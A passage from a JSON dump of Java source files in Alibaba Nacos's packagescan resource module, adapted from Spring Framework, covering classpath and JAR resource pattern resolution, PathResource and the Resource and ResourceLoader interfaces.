jarEntry = jarCon.getJarEntry();\n            rootEntryPath = (jarEntry != null ? jarEntry.getName() : \"\");\n            closeJarFile = !jarCon.getUseCaches();\n        } else {\n            // No JarURLConnection -> need to resort to URL file parsing.\n            // We'll assume URLs of the format \"jar:path!/entry\", with the protocol\n            // being arbitrary as long as following the entry format.\n            // We'll also handle paths with and without leading \"file:\" prefix.\n            String urlFile = rootDirUrl.getFile();\n            try {\n                int separatorIndex = urlFile.indexOf(ResourceUtils.WAR_URL_SEPARATOR);\n                if (separatorIndex == -1) {\n                    separatorIndex = urlFile.indexOf(ResourceUtils.JAR_URL_SEPARATOR);\n                }\n                if (separatorIndex != -1) {\n                    jarFileUrl = urlFile.substring(0, separatorIndex);\n                    rootEntryPath = urlFile.substring(separatorIndex + 2);  // both separators are 2 chars\n                    jarFile = getJarFile(jarFileUrl);\n                } else {\n                    jarFile = new JarFile(urlFile);\n                    jarFileUrl = urlFile;\n                    rootEntryPath = \"\";\n                }\n                closeJarFile = true;\n            } catch (ZipException ex) {\n                if (LOGGER.isDebugEnabled()) {\n                    LOGGER.debug(\"Skipping invalid jar classpath entry [\" + urlFile + \"]\");\n                }\n                return Collections.emptySet();\n            }\n        }\n\n        try {\n            if (LOGGER.isTraceEnabled()) {\n                LOGGER.trace(\"Looking for matching resources in jar file [\" + jarFileUrl + \"]\");\n            }\n            if (StringUtils.hasLength(rootEntryPath) && !rootEntryPath.endsWith(\"/\")) {\n                // Root entry path must end with slash to allow for proper matching.\n                // The Sun JRE does not return a slash here, but BEA JRockit does.\n                rootEntryPath = rootEntryPath + \"/\";\n            }\n            Set<Resource> result = new LinkedHashSet<>(8);\n            for (Enumeration<JarEntry> entries = jarFile.entries(); entries.hasMoreElements(); ) {\n                JarEntry entry = entries.nextElement();\n                String entryPath = entry.getName();\n                if (entryPath.startsWith(rootEntryPath)) {\n                    String relativePath = entryPath.substring(rootEntryPath.length());\n                    if (getPathMatcher().match(subPattern, relativePath)) {\n                        result.add(rootDirResource.createRelative(relativePath));\n                    }\n                }\n            }\n            return result;\n        } finally {\n            if (closeJarFile) {\n                jarFile.close();\n            }\n        }\n    }\n\n    /**\n     * Resolve the given jar file URL into a JarFile object.\n     */\n    protected JarFile getJarFile(String jarFileUrl) throws IOException {\n        if (jarFileUrl.startsWith(ResourceUtils.FILE_URL_PREFIX)) {\n            try {\n                return new JarFile(ResourceUtils.toUri(jarFileUrl).getSchemeSpecificPart());\n            } catch (URISyntaxException ex) {\n                // Fallback for URLs that are not valid URIs (should hardly ever happen).\n                return new JarFile(jarFileUrl.substring(ResourceUtils.FILE_URL_PREFIX.length()));\n            }\n        } else {\n            return new JarFile(jarFileUrl);\n        }\n    }\n\n    /**\n     * Find all resources in the file system that match the given location pattern\n     * via the Ant-style PathMatcher.\n     *\n     * @param rootDirResource the root directory as Resource\n     * @param subPattern      the sub pattern to match (below the root directory)\n     * @return a mutable Set of matching Resource instances\n     * @throws IOException in case of I/O errors\n     * @see #retrieveMatchingFiles\n     * @see PathMatcher\n     */\n    protected Set<Resource> doFindPathMatchingFileResources(Resource rootDirResource, String subPattern)\n            throws IOException {\n\n        File rootDir;\n        try {\n            rootDir = rootDirResource.getFile().getAbsoluteFile();\n        } catch (FileNotFoundException ex) {\n            if (LOGGER.isDebugEnabled()) {\n                LOGGER.debug(\"Cannot search for matching files underneath \" + rootDirResource\n                        + \" in the file system: \" + ex.getMessage());\n            }\n            return Collections.emptySet();\n        } catch (Exception ex) {\n            if (LOGGER.isInfoEnabled()) {\n                LOGGER.info(\"Failed to resolve \" + rootDirResource + \" in the file system: \" + ex);\n            }\n            return Collections.emptySet();\n        }\n        return doFindMatchingFileSystemResources(rootDir, subPattern);\n    }\n\n    /**\n     * Find all resources in the file system that match the given location pattern\n     * via the Ant-style PathMatcher.\n     *\n     * @param rootDir    the root directory in the file system\n     * @param subPattern the sub pattern to match (below the root directory)\n     * @return a mutable Set of matching Resource instances\n     * @throws IOException in case of I/O errors\n     * @see #retrieveMatchingFiles\n     * @see PathMatcher\n     */\n    protected Set<Resource> doFindMatchingFileSystemResources(File rootDir, String subPattern) throws IOException {\n        if (LOGGER.isTraceEnabled()) {\n            LOGGER.trace(\"Looking for matching resources in directory tree [\" + rootDir.getPath() + \"]\");\n        }\n        Set<File> matchingFiles = retrieveMatchingFiles(rootDir, subPattern);\n        Set<Resource> result = new LinkedHashSet<>(matchingFiles.size());\n        for (File file : matchingFiles) {\n            result.add(new FileSystemResource(file));\n        }\n        return result;\n    }\n\n    /**\n     * Retrieve files that match the given path pattern,\n     * checking the given directory and its subdirectories.\n     *\n     * @param rootDir the directory to start from\n     * @param pattern the pattern to match against,\n     *                relative to the root directory\n     * @return a mutable Set of matching Resource instances\n     * @throws IOException if directory contents could not be retrieved\n     */\n    protected Set<File> retrieveMatchingFiles(File rootDir, String pattern) throws IOException {\n        if (!rootDir.exists()) {\n            // Silently skip non-existing directories.\n            if (LOGGER.isDebugEnabled()) {\n                LOGGER.debug(\"Skipping [\" + rootDir.getAbsolutePath() + \"] because it does not exist\");\n            }\n            return Collections.emptySet();\n        }\n        if (!rootDir.isDirectory()) {\n            // Complain louder if it exists but is no directory.\n            if (LOGGER.isInfoEnabled()) {\n                LOGGER.info(\"Skipping [\" + rootDir.getAbsolutePath() + \"] because it does not denote a directory\");\n            }\n            return Collections.emptySet();\n        }\n        if (!rootDir.canRead()) {\n            if (LOGGER.isInfoEnabled()) {\n                LOGGER.info(\"Skipping search for matching files underneath directory [\" + rootDir.getAbsolutePath()\n                        + \"] because the application is not allowed to read the directory\");\n            }\n            return Collections.emptySet();\n        }\n        String fullPattern = StringUtils.replace(rootDir.getAbsolutePath(), File.separator, \"/\");\n        if (!pattern.startsWith(\"/\")) {\n            fullPattern += \"/\";\n        }\n        fullPattern = fullPattern + StringUtils.replace(pattern, File.separator, \"/\");\n        Set<File> result = new LinkedHashSet<>(8);\n        doRetrieveMatchingFiles(fullPattern, rootDir, result);\n        return result;\n    }\n\n    /**\n     * Recursively retrieve files that match the given pattern,\n     * adding them to the given result list.\n     *\n     * @param fullPattern the pattern to match against,\n     *                    with prepended root directory path\n     * @param dir         the current directory\n     * @param result      the Set of matching File instances to add to\n     * @throws IOException if directory contents could not be retrieved\n     */\n    protected void doRetrieveMatchingFiles(String fullPattern, File dir, Set<File> result) throws IOException {\n        if (LOGGER.isTraceEnabled()) {\n            LOGGER.trace(\"Searching directory [\" + dir.getAbsolutePath()\n                    + \"] for files matching pattern [\" + fullPattern + \"]\");\n        }\n        for (File content : listDirectory(dir)) {\n            String currPath = StringUtils.replace(content.getAbsolutePath(), File.separator, \"/\");\n            if (content.isDirectory() && getPathMatcher().matchStart(fullPattern, currPath + \"/\")) {\n                if (!content.canRead()) {\n                    if (LOGGER.isDebugEnabled()) {\n                        LOGGER.debug(\"Skipping subdirectory [\" + dir.getAbsolutePath()\n                                + \"] because the application is not allowed to read the directory\");\n                    }\n                } else {\n                    doRetrieveMatchingFiles(fullPattern, content, result);\n                }\n            }\n            if (getPathMatcher().match(fullPattern, currPath)) {\n                result.add(content);\n            }\n        }\n    }\n\n    /**\n     * Determine a sorted list of files in the given directory.\n     *\n     * @param dir the directory to introspect\n     * @return the sorted list of files (by default in alphabetical order)\n     * @see File#listFiles()\n     * @since 5.1\n     */\n    protected File[] listDirectory(File dir) {\n        File[] files = dir.listFiles();\n        if (files == null) {\n            if (LOGGER.isInfoEnabled()) {\n                LOGGER.info(\"Could not retrieve contents of directory [\" + dir.getAbsolutePath() + \"]\");\n            }\n            return new File[0];\n        }\n        Arrays.sort(files, Comparator.comparing(File::getName));\n        return files;\n    }\n\n    /**\n     * Inner delegate class, avoiding a hard JBoss VFS API dependency at runtime.\n     */\n    private static class VfsResourceMatchingDelegate {\n\n        public static Set<Resource> findMatchingResources(\n                URL rootDirUrl, String locationPattern, PathMatcher pathMatcher) throws IOException {\n\n            Object root = VfsPatternUtils.findRoot(rootDirUrl);\n            PatternVirtualFileVisitor visitor =\n                    new PatternVirtualFileVisitor(VfsPatternUtils.getPath(root), locationPattern, pathMatcher);\n            VfsPatternUtils.visit(root, visitor);\n            return visitor.getResources();\n        }\n    }\n\n\n    /**\n     * VFS visitor for path matching purposes.\n     */\n    @SuppressWarnings(\"unused\")\n    private static class PatternVirtualFileVisitor implements InvocationHandler {\n\n        private final String subPattern;\n\n        private final PathMatcher pathMatcher;\n\n        private final String rootPath;\n\n        private final Set<Resource> resources = new LinkedHashSet<>();\n\n        public PatternVirtualFileVisitor(String rootPath, String subPattern, PathMatcher pathMatcher) {\n            this.subPattern = subPattern;\n            this.pathMatcher = pathMatcher;\n            this.rootPath = (rootPath.isEmpty() || rootPath.endsWith(\"/\") ? rootPath : rootPath + \"/\");\n        }\n\n        @Override\n\n        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {\n            String methodName = method.getName();\n            if (Object.class == method.getDeclaringClass()) {\n                if (\"equals\".equals(methodName)) {\n                    // Only consider equal when proxies are identical.\n                    return (proxy == args[0]);\n                } else if (\"hashCode\".equals(methodName)) {\n                    return System.identityHashCode(proxy);\n                }\n            } else if (\"getAttributes\".equals(methodName)) {\n                return getAttributes();\n            } else if (\"visit\".equals(methodName)) {\n                visit(args[0]);\n                return null;\n            } else if (\"toString\".equals(methodName)) {\n                return toString();\n            }\n\n            throw new IllegalStateException(\"Unexpected method invocation: \" + method);\n        }\n\n        public void visit(Object vfsResource) {\n            if (this.pathMatcher.match(this.subPattern,\n                    VfsPatternUtils.getPath(vfsResource).substring(this.rootPath.length()))) {\n                this.resources.add(new VfsResource(vfsResource));\n            }\n        }\n\n        public Object getAttributes() {\n            return VfsPatternUtils.getVisitorAttributes();\n        }\n\n        public Set<Resource> getResources() {\n            return this.resources;\n        }\n\n        public int size() {\n            return this.resources.size();\n        }\n\n        @Override\n        public String toString() {\n            return \"sub-pattern: \" + this.subPattern + \", resources: \" + this.resources;\n        }\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/PathResource.java",
    "content": "/*\n * Copyright 2002-2019 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.AbstractAssert;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.URI;\nimport java.net.URL;\nimport java.nio.channels.ReadableByteChannel;\nimport java.nio.channels.WritableByteChannel;\nimport java.nio.file.Files;\nimport java.nio.file.LinkOption;\nimport java.nio.file.NoSuchFileException;\nimport java.nio.file.OpenOption;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.nio.file.StandardOpenOption;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * {@link Resource} implementation for {@link Path} handles,\n * performing all operations and transformations via the {@code Path} API.\n * Supports resolution as a {@link File} and also as a {@link URL}.\n * Implements the extended {@link WritableResource} interface.\n *\n * <p>Note: As of 5.1, {@link Path} support is also available\n * in {@link FileSystemResource#FileSystemResource(Path) FileSystemResource},\n * applying Spring's standard String-based path transformations but\n * performing all operations via the {@link Files} API.\n * This {@code PathResource} is effectively a pure {@code java.nio.path.Path}\n * based alternative with different {@code createRelative} behavior.\n *\n * @author Philippe Marschall\n * @author Juergen Hoeller\n * @see Path\n * @see Files\n * @see FileSystemResource\n * @since 4.0\n */\npublic class PathResource extends AbstractResource implements WritableResource {\n\n    private final Path path;\n\n    /**\n     * Create a new PathResource from a Path handle.\n     *\n     * <p>Note: Unlike {@link FileSystemResource}, when building relative resources\n     * via {@link #createRelative}, the relative path will be built <i>underneath</i>\n     * the given root: e.g. Paths.get(\"C:/dir1/\"), relative path \"dir2\" &rarr; \"C:/dir1/dir2\"!\n     *\n     * @param path a Path handle\n     */\n    public PathResource(Path path) {\n        AbstractAssert.notNull(path, \"Path must not be null\");\n        this.path = path.normalize();\n    }\n\n    /**\n     * Create a new PathResource from a Path handle.\n     *\n     * <p>Note: Unlike {@link FileSystemResource}, when building relative resources\n     * via {@link #createRelative}, the relative path will be built <i>underneath</i>\n     * the given root: e.g. Paths.get(\"C:/dir1/\"), relative path \"dir2\" &rarr; \"C:/dir1/dir2\"!\n     *\n     * @param path a path\n     * @see Paths#get(String, String...)\n     */\n    public PathResource(String path) {\n        AbstractAssert.notNull(path, \"Path must not be null\");\n        this.path = Paths.get(path).normalize();\n    }\n\n    /**\n     * Create a new PathResource from a Path handle.\n     *\n     * <p>Note: Unlike {@link FileSystemResource}, when building relative resources\n     * via {@link #createRelative}, the relative path will be built <i>underneath</i>\n     * the given root: e.g. Paths.get(\"C:/dir1/\"), relative path \"dir2\" &rarr; \"C:/dir1/dir2\"!\n     *\n     * @param uri a path URI\n     * @see Paths#get(URI)\n     */\n    public PathResource(URI uri) {\n        AbstractAssert.notNull(uri, \"URI must not be null\");\n        this.path = Paths.get(uri).normalize();\n    }\n\n    /**\n     * Return the file path for this resource.\n     */\n    public final String getPath() {\n        return this.path.toString();\n    }\n\n    /**\n     * This implementation returns whether the underlying file exists.\n     *\n     * @see Files#exists(Path, LinkOption...)\n     */\n    @Override\n    public boolean exists() {\n        return Files.exists(this.path);\n    }\n\n    /**\n     * This implementation checks whether the underlying file is marked as readable\n     * (and corresponds to an actual file with content, not to a directory).\n     *\n     * @see Files#isReadable(Path)\n     * @see Files#isDirectory(Path, LinkOption...)\n     */\n    @Override\n    public boolean isReadable() {\n        return (Files.isReadable(this.path) && !Files.isDirectory(this.path));\n    }\n\n    /**\n     * This implementation opens a InputStream for the underlying file.\n     *\n     * @see java.nio.file.spi.FileSystemProvider#newInputStream(Path, OpenOption...)\n     */\n    @Override\n    public InputStream getInputStream() throws IOException {\n        if (!exists()) {\n            throw new FileNotFoundException(getPath() + \" (no such file or directory)\");\n        }\n        if (Files.isDirectory(this.path)) {\n            throw new FileNotFoundException(getPath() + \" (is a directory)\");\n        }\n        return Files.newInputStream(this.path);\n    }\n\n    /**\n     * This implementation checks whether the underlying file is marked as writable\n     * (and corresponds to an actual file with content, not to a directory).\n     *\n     * @see Files#isWritable(Path)\n     * @see Files#isDirectory(Path, LinkOption...)\n     */\n    @Override\n    public boolean isWritable() {\n        return (Files.isWritable(this.path) && !Files.isDirectory(this.path));\n    }\n\n    /**\n     * This implementation opens a OutputStream for the underlying file.\n     *\n     * @see java.nio.file.spi.FileSystemProvider#newOutputStream(Path, OpenOption...)\n     */\n    @Override\n    public OutputStream getOutputStream() throws IOException {\n        if (Files.isDirectory(this.path)) {\n            throw new FileNotFoundException(getPath() + \" (is a directory)\");\n        }\n        return Files.newOutputStream(this.path);\n    }\n\n    /**\n     * This implementation returns a URL for the underlying file.\n     *\n     * @see Path#toUri()\n     * @see URI#toURL()\n     */\n    @Override\n    public URL getUrl() throws IOException {\n        return this.path.toUri().toURL();\n    }\n\n    /**\n     * This implementation returns a URI for the underlying file.\n     *\n     * @see Path#toUri()\n     */\n    @Override\n    public URI getUri() throws IOException {\n        return this.path.toUri();\n    }\n\n    /**\n     * This implementation always indicates a file.\n     */\n    @Override\n    public boolean isFile() {\n        return true;\n    }\n\n    /**\n     * This implementation returns the underlying File reference.\n     */\n    @Override\n    public File getFile() throws IOException {\n        try {\n            return this.path.toFile();\n        } catch (UnsupportedOperationException ex) {\n            // Only paths on the default file system can be converted to a File:\n            // Do exception translation for cases where conversion is not possible.\n            throw new FileNotFoundException(this.path + \" cannot be resolved to absolute file path\");\n        }\n    }\n\n    /**\n     * This implementation opens a Channel for the underlying file.\n     *\n     * @see Files#newByteChannel(Path, OpenOption...)\n     */\n    @Override\n    public ReadableByteChannel readableChannel() throws IOException {\n        try {\n            return Files.newByteChannel(this.path, StandardOpenOption.READ);\n        } catch (NoSuchFileException ex) {\n            throw new FileNotFoundException(ex.getMessage());\n        }\n    }\n\n    /**\n     * This implementation opens a Channel for the underlying file.\n     *\n     * @see Files#newByteChannel(Path, OpenOption...)\n     */\n    @Override\n    public WritableByteChannel writableChannel() throws IOException {\n        return Files.newByteChannel(this.path, StandardOpenOption.WRITE);\n    }\n\n    /**\n     * This implementation returns the underlying file's length.\n     */\n    @Override\n    public long contentLength() throws IOException {\n        return Files.size(this.path);\n    }\n\n    /**\n     * This implementation returns the underlying File's timestamp.\n     *\n     * @see Files#getLastModifiedTime(Path, LinkOption...)\n     */\n    @Override\n    public long lastModified() throws IOException {\n        // We can not use the superclass method since it uses conversion to a File and\n        // only a Path on the default file system can be converted to a File...\n        return Files.getLastModifiedTime(this.path).toMillis();\n    }\n\n    /**\n     * This implementation creates a PathResource, applying the given path\n     * relative to the path of the underlying file of this resource descriptor.\n     *\n     * @see Path#resolve(String)\n     */\n    @Override\n    public Resource createRelative(String relativePath) {\n        return new PathResource(this.path.resolve(relativePath));\n    }\n\n    /**\n     * This implementation returns the name of the file.\n     *\n     * @see Path#getFileName()\n     */\n    @Override\n    public String getFilename() {\n        return this.path.getFileName().toString();\n    }\n\n    @Override\n    public String getDescription() {\n        return \"path [\" + this.path.toAbsolutePath() + \"]\";\n    }\n\n\n    /**\n     * This implementation compares the underlying Path references.\n     */\n    @Override\n    public boolean equals(Object other) {\n        return (this == other || (other instanceof PathResource\n                && this.path.equals(((PathResource) other).path)));\n    }\n\n    /**\n     * This implementation returns the hash code of the underlying Path reference.\n     */\n    @Override\n    public int hashCode() {\n        return this.path.hashCode();\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/ProtocolResolver.java",
    "content": "/*\n * Copyright 2002-2016 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * A resolution strategy for protocol-specific resource handles.\n *\n * <p>Used as an SPI for {@link DefaultResourceLoader}, allowing for\n * custom protocols to be handled without subclassing the loader\n * implementation (or application context implementation).\n *\n * @author Juergen Hoeller\n * @see DefaultResourceLoader#addProtocolResolver\n * @since 4.3\n */\n@FunctionalInterface\npublic interface ProtocolResolver {\n\n    /**\n     * Resolve the given location against the given resource loader\n     * if this implementation's protocol matches.\n     *\n     * @param location       the user-specified resource location\n     * @param resourceLoader the associated resource loader\n     * @return a corresponding {@code Resource} handle if the given location\n     * matches this resolver's protocol, or {@code null} otherwise\n     */\n\n    Resource resolve(String location, ResourceLoader resourceLoader);\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/Resource.java",
    "content": "/*\n * Copyright 2002-2018 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.URI;\nimport java.net.URL;\nimport java.nio.channels.Channels;\nimport java.nio.channels.ReadableByteChannel;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Interface for a resource descriptor that abstracts from the actual\n * type of underlying resource, such as a file or class path resource.\n *\n * <p>An InputStream can be opened for every resource if it exists in\n * physical form, but a URL or File handle can just be returned for\n * certain resources. The actual behavior is implementation-specific.\n *\n * @author Juergen Hoeller\n * @see #getInputStream()\n * @see #getUrl()\n * @see #getUri()\n * @see #getFile()\n * @see WritableResource\n * @see ContextResource\n * @see UrlResource\n * @see FileUrlResource\n * @see FileSystemResource\n * @see ClassPathResource\n * @see ByteArrayResource\n * @see InputStreamResource\n * @since 28.12.2003\n */\npublic interface Resource extends InputStreamSource {\n\n    /**\n     * Determine whether this resource actually exists in physical form.\n     *\n     * <p>This method performs a definitive existence check, whereas the\n     * existence of a {@code Resource} handle only guarantees a valid\n     * descriptor handle.\n     */\n    boolean exists();\n\n    /**\n     * Indicate whether non-empty contents of this resource can be read via\n     * {@link #getInputStream()}.\n     *\n     * <p>Will be {@code true} for typical resource descriptors that exist\n     * since it strictly implies {@link #exists()} semantics as of 5.1.\n     * Note that actual content reading may still fail when attempted.\n     * However, a value of {@code false} is a definitive indication\n     * that the resource content cannot be read.\n     *\n     * @see #getInputStream()\n     * @see #exists()\n     */\n    default boolean isReadable() {\n        return exists();\n    }\n\n    /**\n     * Indicate whether this resource represents a handle with an open stream.\n     * If {@code true}, the InputStream cannot be read multiple times,\n     * and must be read and closed to avoid resource leaks.\n     *\n     * <p>Will be {@code false} for typical resource descriptors.\n     */\n    default boolean isOpen() {\n        return false;\n    }\n\n    /**\n     * Determine whether this resource represents a file in a file system.\n     * A value of {@code true} strongly suggests (but does not guarantee)\n     * that a {@link #getFile()} call will succeed.\n     *\n     * <p>This is conservatively {@code false} by default.\n     *\n     * @see #getFile()\n     * @since 5.0\n     */\n    default boolean isFile() {\n        return false;\n    }\n\n    /**\n     * Return a URL handle for this resource.\n     *\n     * @throws IOException if the resource cannot be resolved as URL,\n     *                     i.e. if the resource is not available as descriptor\n     */\n    URL getUrl() throws IOException;\n\n    /**\n     * Return a URI handle for this resource.\n     *\n     * @throws IOException if the resource cannot be resolved as URI,\n     *                     i.e. if the resource is not available as descriptor\n     * @since 2.5\n     */\n    URI getUri() throws IOException;\n\n    /**\n     * Return a File handle for this resource.\n     *\n     * @throws java.io.FileNotFoundException if the resource cannot be resolved as\n     *                                       absolute file path, i.e. if the resource is not available in a file system\n     * @throws IOException                   in case of general resolution/reading failures\n     * @see #getInputStream()\n     */\n    File getFile() throws IOException;\n\n    /**\n     * Return a {@link ReadableByteChannel}.\n     *\n     * <p>It is expected that each call creates a <i>fresh</i> channel.\n     *\n     * <p>The default implementation returns {@link Channels#newChannel(InputStream)}\n     * with the result of {@link #getInputStream()}.\n     *\n     * @return the byte channel for the underlying resource (must not be {@code null})\n     * @throws java.io.FileNotFoundException if the underlying resource doesn't exist\n     * @throws IOException                   if the content channel could not be opened\n     * @see #getInputStream()\n     * @since 5.0\n     */\n    default ReadableByteChannel readableChannel() throws IOException {\n        return Channels.newChannel(getInputStream());\n    }\n\n    /**\n     * Determine the content length for this resource.\n     *\n     * @throws IOException if the resource cannot be resolved\n     *                     (in the file system or as some other known physical resource type)\n     */\n    long contentLength() throws IOException;\n\n    /**\n     * Determine the last-modified timestamp for this resource.\n     *\n     * @throws IOException if the resource cannot be resolved\n     *                     (in the file system or as some other known physical resource type)\n     */\n    long lastModified() throws IOException;\n\n    /**\n     * Create a resource relative to this resource.\n     *\n     * @param relativePath the relative path (relative to this resource)\n     * @return the resource handle for the relative resource\n     * @throws IOException if the relative resource cannot be determined\n     */\n    Resource createRelative(String relativePath) throws IOException;\n\n    /**\n     * Determine a filename for this resource, i.e. typically the last\n     * part of the path: for example, \"myfile.txt\".\n     *\n     * <p>Returns {@code null} if this type of resource does not\n     * have a filename.\n     */\n\n    String getFilename();\n\n    /**\n     * Return a description for this resource,\n     * to be used for error output when working with the resource.\n     *\n     * <p>Implementations are also encouraged to return this value\n     * from their {@code toString} method.\n     *\n     * @see Object#toString()\n     */\n    String getDescription();\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/ResourceLoader.java",
    "content": "/*\n * Copyright 2002-2021 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.ResourceUtils;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Strategy interface for loading resources (e.g., class path or file system\n * resources).\n *\n * <p>{@link DefaultResourceLoader} is a standalone implementation\n *\n * <p>Bean properties of type {@code Resource} and {@code Resource[]} can be populated\n * from Strings when running in an ApplicationContext, using the particular\n * context's resource loading strategy.\n *\n * @author Juergen Hoeller\n * @see Resource\n * @see ResourcePatternResolver\n * @since 10.03.2004\n */\npublic interface ResourceLoader {\n\n    /**\n     * Pseudo URL prefix for loading from the class path: \"classpath:\".\n     */\n    String CLASSPATH_URL_PREFIX = ResourceUtils.CLASSPATH_URL_PREFIX;\n\n\n    /**\n     * Return a {@code Resource} handle for the specified resource location.\n     *\n     * <p>The handle should always be a reusable resource descriptor,\n     * allowing for multiple {@link Resource#getInputStream()} calls.\n     *\n     * <p><ul>\n     * <li>Must support fully qualified URLs, e.g. \"file:C:/test.dat\".\n     * <li>Must support classpath pseudo-URLs, e.g. \"classpath:test.dat\".\n     * <li>Should support relative file paths, e.g. \"WEB-INF/test.dat\".\n     * (This will be implementation-specific, typically provided by an\n     * ApplicationContext implementation.)\n     * </ul>\n     *\n     * <p>Note that a {@code Resource} handle does not imply an existing resource;\n     * you need to invoke {@link Resource#exists} to check for existence.\n     *\n     * @param location the resource location\n     * @return a corresponding {@code Resource} handle (never {@code null})\n     * @see #CLASSPATH_URL_PREFIX\n     * @see Resource#exists()\n     * @see Resource#getInputStream()\n     */\n    Resource getResource(String location);\n\n    /**\n     * Expose the {@link ClassLoader} used by this {@code ResourceLoader}.\n     *\n     * <p>Clients which need to access the {@code ClassLoader} directly can do so\n     * in a uniform manner with the {@code ResourceLoader}, rather than relying\n     * on the thread context {@code ClassLoader}.\n     *\n     * @return the {@code ClassLoader}\n     * (only {@code null} if even the system {@code ClassLoader} isn't accessible)\n     */\n\n    ClassLoader getClassLoader();\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/ResourcePatternResolver.java",
    "content": "/*\n * Copyright 2002-2021 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport java.io.IOException;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Strategy interface for resolving a location pattern (for example,\n * an Ant-style path pattern) into {@link Resource} objects.\n *\n * <p>This is an extension to the {@link ResourceLoader}\n * interface. A passed-in {@code ResourceLoader} (for example, an\n * can be checked whether it implements this extended interface too.\n *\n * <p>{@link PathMatchingResourcePatternResolver} is a standalone implementation\n * that is usable outside an {@code ApplicationContext}, also used by\n * properties.\n *\n * <p>Can be used with any sort of location pattern (e.g. \"/WEB-INF/*-context.xml\"):\n * Input patterns have to match the strategy implementation. This interface just\n * specifies the conversion method rather than a specific pattern format.\n *\n * <p>This interface also suggests a new resource prefix \"classpath*:\" for all\n * matching resources from the class path. Note that the resource location is\n * expected to be a path without placeholders in this case (e.g. \"/beans.xml\");\n * JAR files or different directories in the class path can contain multiple files\n * of the same name.\n *\n * @author Juergen Hoeller\n * @see Resource\n * @see ResourceLoader\n * @since 1.0.2\n */\npublic interface ResourcePatternResolver extends ResourceLoader {\n\n    /**\n     * Pseudo URL prefix for all matching resources from the class path: \"classpath*:\"\n     *\n     * <p>This differs from ResourceLoader's classpath URL prefix in that it\n     * retrieves all matching resources for a given name (e.g. \"/beans.xml\"),\n     * for example in the root of all deployed JAR files.\n     *\n     * @see ResourceLoader#CLASSPATH_URL_PREFIX\n     */\n    String CLASSPATH_ALL_URL_PREFIX = \"classpath*:\";\n\n    /**\n     * Resolve the given location pattern into {@code Resource} objects.\n     *\n     * <p>Overlapping resource entries that point to the same physical\n     * resource should be avoided, as far as possible. The result should\n     * have set semantics.\n     *\n     * @param locationPattern the location pattern to resolve\n     * @return the corresponding {@code Resource} objects\n     * @throws IOException in case of I/O errors\n     */\n    Resource[] getResources(String locationPattern) throws IOException;\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/UrlResource.java",
